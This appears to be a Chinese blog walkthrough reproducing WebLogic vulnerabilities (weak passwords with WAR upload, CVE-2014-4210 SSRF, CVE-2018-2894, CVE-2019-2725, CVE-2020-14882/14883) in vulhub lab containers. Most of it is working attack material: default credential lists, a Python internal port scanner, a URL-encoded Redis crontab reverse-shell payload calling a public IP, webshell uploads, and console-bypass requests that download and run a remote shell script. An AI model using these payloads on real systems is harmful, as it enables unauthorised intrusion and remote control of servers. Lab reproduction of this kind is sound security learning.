首页 > 其他分享 >weblogic历史漏洞

weblogic历史漏洞

时间：2024-11-14 12:18:45浏览次数：1  
标签：历史 shell http ip 漏洞 sh weblogic 7001

weblogic历史漏洞

是什么？

 weblogic是一个web服务器应用（中间件），和jboss一样都是javaee中间件，只能识别java语言，绝大部分漏洞都是T3反序列化漏洞

 常见的中间件还有：Apache，nginx，IIS，tomact，weblogic，jboss等

默认端口：7001
Web界面：Error 404 -- Not Found
控制后台：http://ip:7001/console

漏洞复现

1.弱口令+上传war包

 环境：/vulhub/weblogic/weak_password

# 创建
docker-compose up -d
  1. 访问：http://your-ip:7001可以发现weblogic版本为10.4.5
image-20241103191038011
  1. 访问 http://your-ip:7001/console 用户名：weblogic/密码：weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
  1. 选择部署 --> 安装 --> 上载文件 --> 上传war包
image-20241103192127353 
# 打包成war包
jar -cvf cmd.war cmd.jsp
  1. 最后访问http://your-ip:7001/cmd/cmd.jsp即可，蚁剑连接。
image-20241103222216466

2.CVE-2014-4210（ssrf）

  1. 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径，存在未授权
image-20241104160741266
  1. 在Search by business name中随便输入，bp抓包。
image-20241104160926209
  1. 修改operator参数的值为127.0.0.1:7001，发现返回404，因为目标是Weblogic服务，让Weblogic向自己的7001端口发出请求，相当于访问your-ip:7001这个页面，页面本身返回404 Not found，说明这里存在SSRF
image-20241104161102650
  1. docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'

docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'
image-20241104164433211
  1. 可以利用ssrf探测内网，改为127.22.0.2:6379会返回did not have a valid SOAP（说明是非http协议），说明这个ip开放了redis服务
image-20241104163734881
  • 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"

ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]

for i, port in itertools.product(range(1, 255), ports):
	params = dict(
		rdoSearch="name",
		txtSearchname="sdf",
		selfor="Business+location",
		btnSubmit="Search",
		operator=f"http://172.22.0.{i}:{port}",
	)
	with contextlib.suppress(Exception):
		r = requests.get(url, params=params, timeout = 3)
		# print(r.text)
		if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
			print(f'[*] http://172.22.0.{i}:{port}')
image-20241106163711062
  1. 通过反弹shell攻击redis服务
# 目标：172.22.0.2:6379

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
  • 对以上进行URL编码，替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 看到成功执行
image-20241106181216357
  • 攻击机监听1234端口即可反弹shell！

CVE-2018-2894（任意文件上传）

	在Weblogic Web Service Test Page中存在一处任意文件上传漏洞，利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。
	Web Service Test Page 在"生产模式"下默认不开启，所以该漏洞有一定限制。
	影响范围：
		10.3.6.0
		12.1.3.0
		12.2.1.2
		12.2.1.3

 如果能访问/ws_utc/config.do则存在漏洞

image-20241114115445258
手动利用：
  1. 访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录，访问这个目录是无需权限的

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
image-20241114115851192
  1. 点击安全 -- 添加 -- 在Keystore文件处，上传Webshell（jsp木马）
image-20241114120423412
  1. 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
image-20241114120858116
  1. 蚁剑连接成功！
image-20241114120951461

 可以看见我们上传的木马，最终保存在

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/
image-20241114121327896
自动化脚本：

https://github.com/LandGrey/CVE-2018-2894

CVE-2019-2725

  • 利用java反序列化进行攻击，可以实现远程代码执行（vulhub靶场对应的是CVE-2017-10271）
  • 影响版本：
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
  1. 判断：通过访问路径/_async/AsyncResponseService 判断对应组件是否开启
image-20241108135848572
  1. 脚本利用:
# 下载，里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725

# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001 
whoami

# 使用脚本--文件上传
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
  • 命令执行
image-20241108141106045
  • 文件上传（如果weblogic部署在linux上，改动红框的命令即可）
image-20241108141157970

CVE-2020-14882

	CVE-2020-14882：允许未授权的用户绕过管理控制台的权限验证访问后台;
	CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令
	使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

 判断漏洞是否存在（CVE-2020-14882），访问如下URL，可未授权访问到管理后台页面，但是是低权限用户

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
image-20241114085114336

 进一步利用方式有两种：

一.通过com.tangosol.coherence.mvel2.sh.ShellSession
局限：
	这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

  1. 验证是否命令执行：在tmp目录下创建success文件夹

    image-20241114090233451 
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
  • 看到成功创建
image-20241114090028199
  1. 反弹shell
  • 创建shell.sh放在攻击机上，并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc

# 进入文件夹
cd poc

# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh

# python3开启http服务，这样靶机就能下载攻击机的文件
python3 -m http.server
image-20241114093304368
  • 回到靶机执行以下命令（意思是使靶机下载shell.sh并保存到本地的/tmp目录下）
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")
image-20241114094050186
  • 可以看到靶机/tmp目录下出现了shell.sh
image-20241114094204679
  • 执行以下命令，目的是运行shell.sh脚本文件，并且监听攻击机的6666端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")
image-20241114094649871
  • 可以看到shell反弹成功！
image-20241114094831858
二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  1. 在攻击机poc文件夹下构造shell.xml，作用还是让靶机下载刚刚的shell.sh到/tmp目录下，只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  1. 在攻击机poc文件夹下构造bash.xml，作用是使靶机执行shell脚本，shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[bash /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  • shell.sh shell.xml bash.xml都应该在同一目录下，再开启http服务
python3 -m http.server
image-20241114113925604
  1. 靶机执行以下命令：用来下载shell.xml文件，这时shell.xml就会执行curl命令来下载shell.sh脚本，靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")
image-20241114113233059
  1. 靶机执行以下命令：用来执行shell.sh脚本反弹shell（在这一步前攻击机监听6666端口）
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")
image-20241114113357157
  • 成功！
image-20241114114229357

标签：历史,shell,http,ip,漏洞,sh,weblogic,7001
From： https://www.cnblogs.com/left-shoulder/p/18545731

相关文章

  • web安全漏洞之ssrf入门
       web安全漏洞之ssrf入门            1.什么是ssrf SSRF(ServerSideRequestForgery,服务端请求伪造)是一种通过构造数据进而伪造成服务端发起请求的漏洞。因为请求是由服务器内部发起，所以一般情况下SSRF漏洞的目标往往是无法从外网访问的......
  • 简单上手python爬虫实战：阜阳市历史天气数据爬取
        这里我们学校开始了见习，搞的是阜阳市历史天气数据看板，加了点大数据方面的技术栈，我这里就不讲了，出一期非常简单的爬虫代码吧。1数据来源    这里我们用的网站是天气后报里的，网站如下：历史天气查询|天气记录|天气预报|气温查询|过去天气_天气后报http://ti......
  • P8868 [NOIP2022] 比赛（线段树维护区间历史和）
    题意给定排列\(a,b\)，\(q\)次询问\(l,r\)，你需要求出\(\sum_{l\lel'\ler'\ler}(\max_{i=l'}^{r'}a_i)(\max_{i=l'}^{r'}b_i)\)对\(2^{64}\)取模的值。\(n,q\le2.5\times10^5\)分析根据经典套路，按\(r\)扫描线，维护两个单调栈，那么加入一个数就相当于进行若干段区......
  • 漏洞随笔
    1、XSS原理：XSS（Cross-SiteScripting，跨站脚本攻击）是由于服务器对输入数据的过滤和验证不严格，攻击者可以在网页中插入恶意的JavaScript代码，这些恶意的JavaScript代码会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时，它会执行这些恶意的JavaScript代码，从......
  • 爬虫案例-2345天气王历史天气获取
    爬虫案例-2345天气王历史天气获取1.项目简介本项目的目的是利用网络爬虫技术，在2345天气王网站中，获取重庆从2011年至2023年的历史天气数据，包括每日温度、降雨量等信息。通过数据的获取与清洗，我们能够更好地研究重庆的气候变化趋势，为相关分析提供基础数据支持。2.进入网......
  • 信息收集、漏洞扫描、漏洞利用、权限提升、数据泄露
    网络安全和黑客攻击信息收集：这是黑客攻击的第一步，旨在收集目标系统的信息。通过信息收集，攻击者可以了解目标系统的IP地址、操作系统类型、开放端口、服务版本等信息。信息收集的方法包括使用网络扫描工具（如Nmap）、搜索引擎（如Google）、社交媒体（如LinkedIn）等。漏洞扫描：在信息......
  • 漏洞扫描工具和漏洞利用工具
    漏洞扫描工具和漏洞利用工具是网络安全领域中两种重要的工具，它们在保障网络安全和进行渗透测试等方面发挥着关键作用。以下是关于这两种工具的详细介绍：漏洞扫描工具定义：漏洞扫描工具是基于漏洞数据库，通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测，发现可......
  • 2024最新版漏洞挖掘教程，零基础入门到精通， 收藏这篇就够了_网络安全挖洞全流程保姆级
    经常有小伙伴问我。为什么自己总是挖不到漏洞呢?渗透到底是什么样的流程呢?所以全网最详细的渗透测试流程来了!!!全篇文章内容较长,请耐心观看!渗透测试渗透测试其实就是通过一些手段来找到网站，APP，网络服务，软件，服务器等网络设备和应用的漏洞，告诉管理员有哪些漏洞，怎么......
  • 文件包含漏洞——练习靶场lfi-labs
    目录 原理lfi-labs1lfi-labs2lfi-labs3lfi-labs4lfi-labs5lfi-lab6 原理文件包含：为了更好地使用代码重用性，引入了文件包含函数，可以通过文件包含函数将文件包含进来，直接使用包含文件的代码原因：在包含文件时候，为了灵活包含文件，将被包含文件设置为变量，通过动态变量......
  • 双十一购物攻略：如何利用爬虫技术获取历史价格趋势，理性购物不踩雷
    双十一购物狂欢节即将到来，作为程序员，利用爬虫技术查询商品的历史价格趋势，似乎是一个合理的需求，毕竟这只是为了自己参考，不涉及商业用途。然而，小伙伴们在进行爬虫操作时一定要谨慎小心，尤其是在数据采集和使用的过程中，务必遵守相关法律法规与平台的使用规范。每次和大家讲解爬虫时，我......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99